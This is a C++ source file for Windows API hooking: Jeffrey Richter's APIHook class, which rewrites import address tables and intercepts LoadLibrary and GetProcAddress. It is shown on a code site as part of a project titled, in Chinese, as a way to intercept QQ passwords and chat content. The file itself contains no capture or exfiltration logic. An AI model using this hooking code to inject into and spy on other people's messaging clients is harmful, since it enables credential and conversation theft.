gusucode.com > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴 > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴/RemoteThreadMateQQ/dllRemoteThread/APIHook.cpp

    /******************************************************************************
Module:  APIHook.cpp
Notices: Copyright (c) 2000 Jeffrey Richter
******************************************************************************/

#include "stdafx.h"
#include "CmnHdr.h"
#include <ImageHlp.h>
#pragma comment(lib, "ImageHlp")

#include "APIHook.h"
#include "Toolhelp.h"

#include "CommonFunc.h"
#include "RemoteParaData.h"

extern CString g_csCurModuleBaseName;

///////////////////////////////////////////////////////////////////////////////


// When an application runs on Windows 98 under a debugger, the debugger
// makes the module's import section point to a stub that calls the desired 
// function. To account for this, the code in this module must do some crazy 
// stuff. These variables are needed to help with the crazy stuff.


// The highest private memory address (used for Windows 98 only)
PVOID CAPIHook::sm_pvMaxAppAddr = NULL;
const BYTE cPushOpCode = 0x68;   // The PUSH opcode on x86 platforms

extern DWORD g_dwInvokerPID;

///////////////////////////////////////////////////////////////////////////////


// The head of the linked-list of CAPIHook objects
CAPIHook* CAPIHook::sm_pHead = NULL;


///////////////////////////////////////////////////////////////////////////////


CAPIHook::CAPIHook(PSTR pszCalleeModName, PSTR pszFuncName, PROC pfnHook, 
				   BOOL fExcludeAPIHookMod)
{
//	HwDbgLog ( L_DEBUG|L_ONLY_LOGFILE, _T("%s CAPIHook() %s, %s"), g_csCurModuleBaseName, pszCalleeModName, pszFuncName );
	
	m_pNext  = sm_pHead;    // The next node was at the head
	sm_pHead = this;        // This node is now at the head
	// Save information about this hooked function
	m_pszCalleeModName		= pszCalleeModName;
	m_pszFuncName			= pszFuncName;
	m_pfnHook				= pfnHook;
	m_fExcludeAPIHookMod	= fExcludeAPIHookMod;
	m_pfnOrig				= GetProcAddressRaw ( ::GetModuleHandle(pszCalleeModName), m_pszFuncName);
	if ( !m_pfnOrig ) m_pfnOrig = GetProcAddressRaw ( ::LoadLibrary(pszCalleeModName), m_pszFuncName );
	chASSERT ( m_pfnOrig != NULL );  // Function doesn't exist
	
	if (sm_pvMaxAppAddr == NULL)
	{
		// Functions with address above lpMaximumApplicationAddress require
		// special processing (Windows 98 only)
		SYSTEM_INFO si;
		GetSystemInfo(&si);
		sm_pvMaxAppAddr = si.lpMaximumApplicationAddress;
	}
	
	if (m_pfnOrig > sm_pvMaxAppAddr)
	{
		// The address is in a shared DLL; the address needs fixing up 
		PBYTE pb = (PBYTE) m_pfnOrig;
		if (pb[0] == cPushOpCode) {
			// Skip over the PUSH op code and grab the real address
			PVOID pv = * (PVOID*) &pb[1];
			m_pfnOrig = (PROC) pv;
		}
	}

//	Hook ();
}

void CAPIHook::Hook ()
{
	// Hook this function in all currently loaded modules
	ReplaceIATEntryInAllMods(m_pszCalleeModName, m_pfnOrig, m_pfnHook, 
		m_fExcludeAPIHookMod);
}

///////////////////////////////////////////////////////////////////////////////


CAPIHook::~CAPIHook()
{
//	Log ( L_DEBUG, _T("%s ~CAPIHook()"), g_csCurModuleBaseName );
	// Unhook this function from all modules
	ReplaceIATEntryInAllMods(m_pszCalleeModName, m_pfnHook, m_pfnOrig, 
		m_fExcludeAPIHookMod);
	
	// Remove this object from the linked list
	CAPIHook* p = sm_pHead; 
	if (p == this)
	{     // Removing the head node
		sm_pHead = p->m_pNext; 
	}
	else
	{
		
		BOOL fFound = FALSE;
		
		// Walk list from head and fix pointers
		for (; !fFound && (p->m_pNext != NULL); p = p->m_pNext)
		{
			if (p->m_pNext == this)
			{
				// Make the node that points to us point to the our next node
				p->m_pNext = p->m_pNext->m_pNext; 
				fFound = TRUE;
				break; 
			}
		}
		chASSERT(fFound);
	}
}


///////////////////////////////////////////////////////////////////////////////


// NOTE: This function must NOT be inlined
FARPROC CAPIHook::GetProcAddressRaw(HMODULE hmod, PCSTR pszProcName) {
	
	return(::GetProcAddress(hmod, pszProcName));
}


///////////////////////////////////////////////////////////////////////////////


// Returns the HMODULE that contains the specified memory address
static HMODULE ModuleFromAddress(PVOID pv) {
	
	MEMORY_BASIC_INFORMATION mbi;
	return((VirtualQuery(pv, &mbi, sizeof(mbi)) != 0) 
		? (HMODULE) mbi.AllocationBase : NULL);
}


///////////////////////////////////////////////////////////////////////////////


void CAPIHook::ReplaceIATEntryInAllMods(PCSTR pszCalleeModName, 
										PROC pfnCurrent, PROC pfnNew, BOOL fExcludeAPIHookMod) {
	
	HMODULE hmodThisMod = fExcludeAPIHookMod 
		? ModuleFromAddress(ReplaceIATEntryInAllMods) : NULL;
	
	// Get the list of modules in this process
	CToolhelp th(TH32CS_SNAPMODULE, GetCurrentProcessId());
	
	MODULEENTRY32 me = { sizeof(me) };
	for (BOOL fOk = th.ModuleFirst(&me); fOk; fOk = th.ModuleNext(&me)) {
		
		// NOTE: We don't hook functions in our own module
		if (me.hModule != hmodThisMod) {
			
			// Hook this function in this module
			ReplaceIATEntryInOneMod(
				pszCalleeModName, pfnCurrent, pfnNew, me.hModule);
		}
	}
}


///////////////////////////////////////////////////////////////////////////////


void CAPIHook::ReplaceIATEntryInOneMod(PCSTR pszCalleeModName, 
									   PROC pfnCurrent, PROC pfnNew, HMODULE hmodCaller) {
	
	// Get the address of the module's import section
	ULONG ulSize;
	PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)
		ImageDirectoryEntryToData(hmodCaller, TRUE, 
		IMAGE_DIRECTORY_ENTRY_IMPORT, &ulSize);
	
	if (pImportDesc == NULL)
		return;  // This module has no import section
	
	
	// Find the import descriptor containing references to callee's functions
	for (; pImportDesc->Name; pImportDesc++) {
		PSTR pszModName = (PSTR) ((PBYTE) hmodCaller + pImportDesc->Name);
		if (lstrcmpiA(pszModName, pszCalleeModName) == 0) 
			break;   // Found
	}
	
	if (pImportDesc->Name == 0)
		return;  // This module doesn't import any functions from this callee
	
	// Get caller's import address table (IAT) for the callee's functions
	PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA) 
		((PBYTE) hmodCaller + pImportDesc->FirstThunk);
	
	// Replace current function address with new function address
	for (; pThunk->u1.Function; pThunk++) {
		
		// Get the address of the function address
		PROC* ppfn = (PROC*) &pThunk->u1.Function;
		
		// Is this the function we're looking for?
		BOOL fFound = (*ppfn == pfnCurrent);
		
		if (!fFound && (*ppfn > sm_pvMaxAppAddr)) {
			
			// If this is not the function and the address is in a shared DLL, 
			// then maybe we're running under a debugger on Windows 98. In this 
			// case, this address points to an instruction that may have the 
			// correct address.
			
			PBYTE pbInFunc = (PBYTE) *ppfn;
			if (pbInFunc[0] == cPushOpCode) {
				// We see the PUSH instruction, the real function address follows
				ppfn = (PROC*) &pbInFunc[1];
				
				// Is this the function we're looking for?
				fFound = (*ppfn == pfnCurrent);
			}
		}
		
		if (fFound) {
			// The addresses match, change the import section address
			WriteProcessMemory(GetCurrentProcess(), ppfn, &pfnNew, 
				sizeof(pfnNew), NULL);
			return;  // We did it, get out
		}
	}
	
	// If we get to here, the function is not in the caller's import section
}


///////////////////////////////////////////////////////////////////////////////


// Hook LoadLibrary functions and GetProcAddress so that hooked functions
// are handled correctly if these functions are called.

CAPIHook CAPIHook::sm_LoadLibraryA  ("Kernel32.dll", "LoadLibraryA",   
									 (PROC) CAPIHook::SMLoadLibraryA, TRUE);

CAPIHook CAPIHook::sm_LoadLibraryW  ("Kernel32.dll", "LoadLibraryW",   
									 (PROC) CAPIHook::SMLoadLibraryW, TRUE);

CAPIHook CAPIHook::sm_LoadLibraryExA("Kernel32.dll", "LoadLibraryExA", 
									 (PROC) CAPIHook::SMLoadLibraryExA, TRUE);

CAPIHook CAPIHook::sm_LoadLibraryExW("Kernel32.dll", "LoadLibraryExW", 
									 (PROC) CAPIHook::SMLoadLibraryExW, TRUE);

CAPIHook CAPIHook::sm_GetProcAddress("Kernel32.dll", "GetProcAddress", 
									 (PROC) CAPIHook::SMGetProcAddress, TRUE);

///////////////////////////////////////////////////////////////////////////////


void CAPIHook::FixupNewlyLoadedModule(HMODULE hmod, DWORD dwFlags)
{
	// If a new module is loaded, hook the hooked functions
	if ((hmod != NULL) && ((dwFlags & LOAD_LIBRARY_AS_DATAFILE) == 0))
	{
		
		for (CAPIHook* p = sm_pHead; p != NULL; p = p->m_pNext)
		{
			ReplaceIATEntryInOneMod(p->m_pszCalleeModName, 
				p->m_pfnOrig, p->m_pfnHook, hmod);
		}
	}
}


///////////////////////////////////////////////////////////////////////////////


HMODULE WINAPI CAPIHook::SMLoadLibraryA(PCSTR pszModulePath) {
	
	HMODULE hmod = ::LoadLibraryA(pszModulePath);
	if ( g_dwInvokerPID != 0 && g_dwInvokerPID != GetCurrentProcessId() )
	{
		Log ( L_DEBUG, _T("%s invoke LoadLibraryA(%s)"), pszModulePath, g_csCurModuleBaseName );
		FixupNewlyLoadedModule(hmod, 0);
	}
	return(hmod);
}


///////////////////////////////////////////////////////////////////////////////


HMODULE WINAPI CAPIHook::SMLoadLibraryW(PCWSTR pszModulePath) {
	
	HMODULE hmod = ::LoadLibraryW(pszModulePath);
	if ( g_dwInvokerPID != 0 && g_dwInvokerPID != GetCurrentProcessId() )
	{
		Log ( L_DEBUG, _T("%s invoke LoadLibraryW(%s)"), pszModulePath,g_csCurModuleBaseName );
		FixupNewlyLoadedModule(hmod, 0);
	}
	return(hmod);
}


///////////////////////////////////////////////////////////////////////////////


HMODULE WINAPI CAPIHook::SMLoadLibraryExA(PCSTR pszModulePath, 
										HANDLE hFile, DWORD dwFlags) {
	
	HMODULE hmod = ::LoadLibraryExA(pszModulePath, hFile, dwFlags);
	if ( g_dwInvokerPID != 0 && g_dwInvokerPID != GetCurrentProcessId() )
	{
		Log ( L_DEBUG, _T("%s invoke LoadLibraryExA(%s)"), pszModulePath,g_csCurModuleBaseName );
		FixupNewlyLoadedModule(hmod, dwFlags);
	}
	return(hmod);
}


///////////////////////////////////////////////////////////////////////////////


HMODULE WINAPI CAPIHook::SMLoadLibraryExW(PCWSTR pszModulePath, 
										HANDLE hFile, DWORD dwFlags)
{
	
	HMODULE hmod = ::LoadLibraryExW(pszModulePath, hFile, dwFlags);
	if ( g_dwInvokerPID != 0 && g_dwInvokerPID != GetCurrentProcessId() )
	{
		Log ( L_DEBUG, _T("%s invoke LoadLibraryExW(%s)"), pszModulePath,g_csCurModuleBaseName );
		FixupNewlyLoadedModule(hmod, dwFlags);
	}
	return(hmod);
}


///////////////////////////////////////////////////////////////////////////////


FARPROC WINAPI CAPIHook::SMGetProcAddress(HMODULE hmod, PCSTR pszProcName)
{
	// Get the true address of the function
	FARPROC pfn = GetProcAddressRaw(hmod, pszProcName);
	if ( g_dwInvokerPID != 0 && g_dwInvokerPID != GetCurrentProcessId() )
	{
		Log ( L_DEBUG, _T("%s invoke GetProcAddress(%s). g_dwInvokerPID = %d, CurPID = %d"),
			g_csCurModuleBaseName, pszProcName, g_dwInvokerPID, GetCurrentProcessId() );
		
		// Is it one of the functions that we want hooked?
		CAPIHook* p = sm_pHead;
		for (; (pfn != NULL) && (p != NULL); p = p->m_pNext)
		{
			
			if (pfn == p->m_pfnOrig)
			{
				
				// The address to return matches an address we want to hook
				// Return the hook function address instead
				pfn = p->m_pfnHook;
				break;
			}
		}
	}
	
	return(pfn);
}


//////////////////////////////// End of File //////////////////////////////////